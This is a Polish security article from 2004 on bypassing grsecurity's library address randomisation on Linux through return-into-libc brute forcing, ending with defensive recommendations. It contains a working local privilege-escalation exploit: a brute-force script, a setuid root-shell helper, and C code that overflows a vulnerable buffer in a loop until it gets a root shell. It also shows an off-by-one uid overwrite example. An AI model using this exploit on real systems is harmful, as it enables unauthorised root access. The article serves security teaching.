

Karol Więsek <appelast@drumnbass.art.pl>

Grsecurity z punktu widzenia intruza

Jednym z najbardziej popularnych rozwiązań globalnie poprawiających bezpieczeństwo systemu Linux jest *patch* na jądro *grsecurity*. Jest on połączeniem wielu rozwiązań mających na celu utrudnienie, jak nie całkowite uniemożliwienie naruszenia bezpieczeństwa systemu. Cechuje się on ochroną przed atakiem (stack overflow, /tmp race, i inne) jak i po udanym ataku (ochrona /dev/[k]mem, ACL). Mimo, że rozwiązanie wydaje się być niezawodną ochroną przeciwko intruzom jest w niektórych przypadkach zgubą dla administratora – pozostawia go w błogiej nieświadomości. W artykule postaram się opisać sposoby na udane wykorzystanie błędów typu stack overflow oraz innych w systemie chronionym przez *grsecurity*.

Krótkie przypomnienie o **return-into-libc**:

Metoda *return-into-libc* jest powszechnie stosowaną praktyką w przypadku ataków na systemy chronione przez różnego rodzaju *patche* mające na celu implementacje niewykonywalnego stosu/sterty itp. Polega ona na nadpisaniu adresu powrotu z funkcji, adresem funkcji – zazwyczaj *system()*- ze standardowej biblioteki C, ponieważ zamapowana w pamięci biblioteka jest oznaczona jako wykonywalna. Dodatkowo do tego typu funkcji, w odróżnieniu od *syscalli*, parametry przekazywane sa przez stos, więc wykonanie dowolnej instrukcji nie stanowi problemu.

Większość exploitów – programów wykorzystujących błędy w oprogramowaniu działa według prostego schematu. Modyfikują adres powrotu z funkcji, bądź adres funkcji, do której program się później odwołuje, w ten sposób, że wskazuje on na miejsce gdzie uprzednio został wstawiony kod, mający na celu wykonanie poleceń atakującego (zwykle zwiększenie uprawnień i uruchomienie powłoki). Dzieje się tak, ponieważ instrukcje mogą być wykonywane z obszaru, gdzie program może zapisywać dane. *Grsecurity* oferuje pełną ochronę przed wykonywaniem kodu w zapisywalnych obszarach pamięci. Sposobem na obejście tego typu zabezpieczenia jest opisana w magazynie *phrack* oraz poruszana na wielu listach dyskusyjnych metoda *return-into-libc*. Dzięki niej atakujący nie musi umieszczać swojego kodu w pamięci. Korzysta w gotowych funkcji w bibliotece C, przez co ochrona pamięci gwarantowana przez *patch* nie działa. Autorzy *grsecurity* szybko znaleźli rozwiązanie tego problemu. Adresy mapowanych w pamięci bibliotek są losowe. Za każdym razem kiedy uruchamiany jest program gdzie indziej w pamięci znajdują się zamapowane biblioteki. Jednakże losowe w adresie jest tylko 16 bitów, a więc istnieje tylko 16^4 (65536 możliwości) różnych adresów, co daje atakującemu możliwość do bruteforceowania tych adresów. Przy obecnie występujących konfiguracjach sprzętowych taki atak nie trwa dłużej niż 5 minut. Potwierdzeniem powyższego założenia jest pokazany poniżej skrypt oraz efekt jego działania. Korzystając z *ldd* pobiera on adres, pod którym została zamapowana biblioteka dla programu */bin/ls*, po czym działając w pętli uruchamia *ldd* do momentu, kiedy adres się powtórzy.

Skrypt pokazujący bruteforcowanie adresu libc

```
#!/bin/sh
BASE=`ldd /bin/lc 2>/dev/null | awk '/libc/ { print substr(\$4, 2, 10);}'`
I=0
J=0
date
echo $BASE:
while [ 1 ]; do
    OTB=`ldd /bin/lc 2>/dev/null | head -1 | awk '{ print substr(\$4, 2, 10);}'`
    let I=$I+1;
    if [ $I = 128 ]; then
        echo -n ".";
        let J=$J+1
        let I=0
    fi
    if [ $OTB = $BASE ]; then
        echo "";
        echo -n "Found OTB $OTB ";
        let RES=$J*128+$I
        echo "with $RES tries"
        date
        exit;
    fi
done
```

Bruteforceowanie adresu *libc_base* na maszynie Intel Celeron 333Mhz

```
root@kleo:/audyt/gr# ./fo.sh
Sat Aug 14 22:19:32 CEST 2004
0x28721000
```

```
.....
...
Found OTB 0x28721000 with 19346 tries
Sat Aug 14 22:46:00 CEST 2004
root@kleo:/audyt/gr#
```

Jak widzimy powtórzenie się adresu to tylko kwestja czasu – zauważmy, że taka moc procesora to już żądność w przypadku serwerów produkcyjnych. Atakującemu pozostaje drugi problem do rozwiązania. Są nim argumenty do funkcji której adres już mamy. Niestety nie możemy skorzystać ani ze sterty, ani ze stosu, gdyż ich adresy również są losowe, ponadto w żadnym stopniu nie są powiązane z adresami, który znaleźliśmy (*libc*). Zbruteforceowanie samego adresu stosu, podobnie jak samego adresu *libc* jest wykonalne w dość krótkim czasie, natomiast prawdopodobieństwo powtórzenia się obu adresów w rozsądnym okresie czasu oscyluje bardzo blisko zera. Argumentów należy więc szukać w tym co mamy, czyli w bibliotece C. Możemy również uprościć nasze poszukiwania ze względu na wykonywaną funkcję (*exec**) do łańcucha znaków zakończonego zerem i

samego zera.

```
Hexdump standardowej biblioteki C
[root@nesquik lib]# hexdump libc-2.2.5.so | head -1
00000000 457f 464c 0101 0001 0000 0000 0000 0000
```

Na samym początku biblioteki znajdujemy pasujący naszym kryteriom fragment. Najbardziej pasującą funkcją z rodziny `exec*` w tym przypadku będzie `execvp()`.

Opis funkcji `execvp`

Funkcje `execlp` oraz `execvp` wykonują zadania powłoki szukając pliku wykonywalnego, jeśli nazwa pliku nie zawiera znaku ukośnika (/). Ścieżka przeszukiwania to ścieżka podana w zmiennej środowiskowej `PATH`. Jeśli zmienna ta nie istnieje, przyjmowana jest domyślna ścieżka ```:/bin:/usr/bin```.

Wykożystując wszystkie powyższe zagadnienia możemy zacząć pisać przykładowego exploita. Atakowanym programem niech będzie najprostrzy jaki da się wymyślić, pozwalający na wykorzystanie techniki nadpisania bufora na stosie.

Atakowany program podatny na atak typu *buffer overflow*

```
int main(int argc, char *argv[])
{
    char buf[4];
    if (argc>1)
        strcpy(buf, argv[1]);
    return 0;
}
```

Exploit powinien stworzyć wymagane pliki wykonywalne, które zostaną uruchomione przez `execvp()` po nadpisaniu bufora w atakowanej aplikacji, następnie uzyskać adres biblioteki C, pod którym została zamapowana oraz funkcji `execvp`. W następnej kolejności powinien przygotować łańcuch który spowoduje *overflowa* i ostatecznie uruchamiać dziurawy program do czasu, aż uzyskany adres powtórzy się. Mając taki plan jesteśmy gotowi. W zależności od wersji `libc'a` jest możliwe, że `execvp()` zignoruje trzy znaki oznaczone kodem `0x01` znajdujące się w nazwie której będziemy używali. Dlatego wskazanym jest stworzenie dwóch plików, zawierającego te trzy znaki w nazwie i bez nich. Dodatkowo możemy uprościć sobie zadanie, znajdując w bibliotece ciąg znaków `"/bin/sh"` zakończony zerem. Jednakże w przypadku aplikacji tylko z `uid` równym 0 w momencie *overflowa* nie da nam to w efekcie upragnionego rootshella (ze względu na charakterystyczne zachowanie powłoki `bash2`, do której w większości przypadków zlinkowane jest `/bin/sh`). Najłatwiejszym sposobem będzie rozdzielenie exploita na dwie części. Pierwszą, wykonywaną manualnie – stworzenie plików, zebranie potrzebnych adresów, oraz drugą , powodującą *overflowa*. Do wykonania pierwszej części użyjemy kopi atakowanej aplikacji bez włączonego losowego mapowania bibliotek, ażeby zdobyć prawidłowe offsety dla funkcji `execvp` i `exit`. Najpierw tworzymy program -

target, który zwiększy uprawnienia i wywoła powłokę. Kompilujemy go i tworzymy do niego linki symboliczne o nazwach ELF i ELF\001\001\001 (zależnie od wersji libc uruchomi się jeden z nich). Kopiujemy atakowany program i przy pomocy narzędzia chpax, dostępnego na stronie projektu (pax.grsecurity.net) zdejmujemy wymagane flagi, żeby możliwym było analizowanie go. Przy pomocy ldd wyciągamy adres, gdzie została zamapowana biblioteka tzw. libc_base. Kozytając z gdb uzyskujemy adresy potrzebnych funkcji – execvp i exit. Offsety obliczamy odejmując (w systemie szesnastkowym) od adresu funkcji adres libc_base.

Pierwsza, manualna część exploita

```
[root@nesquik grsec]# cat >target.c<<_EOF
> #include <unistd.h>
> int main(void)
> {
>     setuid(0);
>     execl("/bin/sh", "sh",0);
> }
> _EOF
[root@nesquik grsec]# gcc -o target target.c
[root@nesquik grsec]# ln -s target `perl -e '{print "\x45\x4c\x46"}'`
[root@nesquik grsec]# ln -s target `perl -e '{print "\x45\x4c\x46\x01\x01\x01"}'`
[root@nesquik grsec]# cp vuln copy_vuln
[root@nesquik grsec]# chpax -rs copy_vuln
[root@nesquik grsec]# ldd copy_vuln | awk ' /libc/ { print substr($4, 2, 10)}'
0x40019000
[root@nesquik grsec]# cat > gdb << _EOF
> file ./copy_vuln
> b main
> r
> p/x &execvp
> p/x &exit
> _EOF
[root@nesquik grsec]# gdb -batch -q -x ./gdb | awk ' /\$1/ {print "execvp - "\$3}; /\$2/ {printf
"exit - "\$3"\n"};'
execvp - 0x400c9f70
exit - 0x400451a0
```

Główna część exploita działaniem nie różni się znacznie od początkowego skryptu. Jednakże zamiast sprawdzać adres, pod którym została zamapowana biblioteka, będzie on próbował wykozystać nadpisanie bufora z nadzieją, że pojawi się upragniony znak zachęty, zamiast komunikatu “Segmentation fault”. Jak widzieliśmy powyżej adres powtórzy się po pewnym czasie i właśnie wtedy próba ataku się powiedzie. Na nieszczęście atakującego każda nieudana próba będzie zalogowana. Nie stanowi to żadnych problemów, jednakże będzie to zapewne nasza ostatnia próba na tym serwerze. W końcu nie da się nie zauważyć parunastu tysięcy komunikatów z jądra. W exploicie tworzymy bufor o długości o 20 większej niż w

atakowanym programie. Pierwsze 8 bajtów bufora pomijamy, jako że pierwsze 4 bajty wypełnią bufor atakowanego programu a kolejne znajdą się w rejestrze *ebp*, który w tej sytuacji nas w ogóle nie interesuje. Kolejne 4 bajty znajdą się w rejestrze *eip*, i tu wpisujemy adres funkcji *execvp*. Kolejne 4 bajty są adresem do jakiego “skoczy” program po wyjściu z *execvp* – tu wstawiamy adres *exit*. Następnie znajdują się argumenty do *execvp* – adres do łańcucha znaków zakończony zerem i adres do samego zera. Exploit uruchamia atakowany program w pętli do czasu, aż atak się powiedzie.

Druga część exploita

```
#include <sys/types.h>
```

```
#include <unistd.h>
```

```
#include <sys/wait.h>
```

```
/* Offsety należy wyliczyć dla konkretnego systemu
```

```
* jedynie ELF i ZERO są stałe
```

```
*/
```

```
#define EXEC_OFFSET 0xaa7a4
```

```
#define EXIT_OFFSET 0x31534
```

```
#define LIBC 0x4a8f7000
```

```
#define ELF_OFFSET 0x1
```

```
#define ZERO_OFFSET 0x8
```

```
#define B_SIZE 8
```

```
int main(void)
```

```
{
```

```
int status, pid;
```

```
char buf[B_SIZE+16+5+1], *pbuf;
```

```
pbuf = (char*)&buf;
```

```
memset(buf, 0x0d, sizeof(buf));
```

```
pbuf+=B_SIZE;
```

```
*(int*)(pbuf) = LIBC+EXEC_OFFSET;
```

```
pbuf+=4;
```

```
*(int*)(pbuf) = LIBC+EXIT_OFFSET;
```

```
pbuf+=4;
```

```
*(int*)(pbuf) = LIBC+ELF_OFFSET;
```

```
pbuf+=4;
```

```
*(int*)(pbuf) = LIBC+ZERO_OFFSET;
```

```
buf[B_SIZE+16] = 0;
```

```
while ( 1 ) {
```

```
pid = fork();
```

```
if (pid==0)
```

```
execl("./vuln", "vuln", buf, 0);
```

```
if (pid>0)
```

```
{
```

```
waitpid(pid, &status, WUNTRACED);
```

```

_____ if (status==0)
_____ break;
_____ }
_____ if (pid<0)
_____ {
_____ printf("Brak resoursów\n");
_____ break;
_____ }
_____ return 0;
_____ }

```

Tak jak się spodziewaliśmy, po dłuższej chwili uzyskujemy upragnionego root'a, nawet przy ochronie jaką zapewnia patch.

Istnieje również cały ogrom błędów programistycznych, przed którymi grsecurity nie jest w stanie nas obronić. Najprostrzym przykładem jest, kiedy nadpisując bufor zmieniamy wartości kluczowych dla działania programu zmiennych. Mogą to być plik tymczasowy, do którego program będzie zapisywał z `uid0`, czy zapisany `uid` użytkownika, który zostanie wykorzystany do późniejszego zrzucenia uprawnień. To samo dotyczy nadpisań wskaźników do funkcji. Przykład takiego programu znajduje się poniżej. Dobierając odpowiednią długość bufora, atakujący może doprowadzić, że w punkcie [2] mające terminować łańcuch znaków zero, zostanie wpisane poza zmienną `buf`, do zmiennej `uid` [1], przechowującej identyfikator użytkownika uruchamiającego program. W konsekwencji doprowadzi to do pozostawienia uprawnień administratora użytkownikowi w punkcie [3] na dalszą część programu, gdzie autor założył że wszystko będzie wykonywane z uprawnieniami użytkownika (zapis i czytanie plików itp.)

Przykładowy program z błędem, przed którym nie uchroni grsecurity

```

int main(int argc, char *argv[])
{
  int uid; _____ // [1]
  char buf[4];
  uid = getuid();
  if (argc>1)
  {
    strcpy(buf, argv[1]);
    buf[strlen(argv[1])-1] = 0; _____ // [2]
  }
  // funkcje uruchamiane z uid0
  setuid(uid); _____ // [3]
  // funkcje uruchamiane z bezpiecznym uid użytkownika - zapis do plików itp.
  return 0;
}

```

Skuteczną metodą ochrony jest łączenie z grsecurity innych, działających na innej "warstwie" metod obrony. Efektywnym połączenie daje patch na gcc – `propolice`. Uniemożliwia on

nadpisania adresu powrotu z funkcji przez wstawienie wartości kontrolnej, jeżeli zostanie ona zmieniona, program zostanie zatrzymany. Propolice zmienia również kolejność zmiennych na stosie w taki sposób, ażeby niemożliwym było nadpisanie wskaźników do funkcji. Alternatywą jest libsafe, biblioteka transparentnie implementująca ochronę przed atakami nadpisującymi bufory, a także atakami typu format string. Należy jednak pamiętać, że każde z rozwiązań utrudniających atakującemu wykożystanie luki w systemie wiąże się ze spadkiem wydajności. Również ważnym jest, aby najpierw przejść system pod kątem niewykożystywanych aplikacji działających ze zwiększonymi uprawnieniami (suid/sgid), a także niewykożystywanych usług, oraz systematyczna aktualizacja. Myślenie że grsecurity załatwi wszystko jest bardzo błędne i w którymś czasie możemy mieć niemiłą niespodziankę.

Odnosińki :

- <http://www.grsecurity.net/> - strona projektu grsecurity
- <http://www.research.ibm.com/trl/projects/security/ssp/> - projekt stack smashing protector
- <http://www.research.avayalabs.com/project/libsafe/> - projekt Libsafe
- <http://bsquad.sm.pl/files/cdrdao.sh> – exploit na lukę w cdrdao, błąd exploitowalny mimo zabezpieczenia przez grsecurity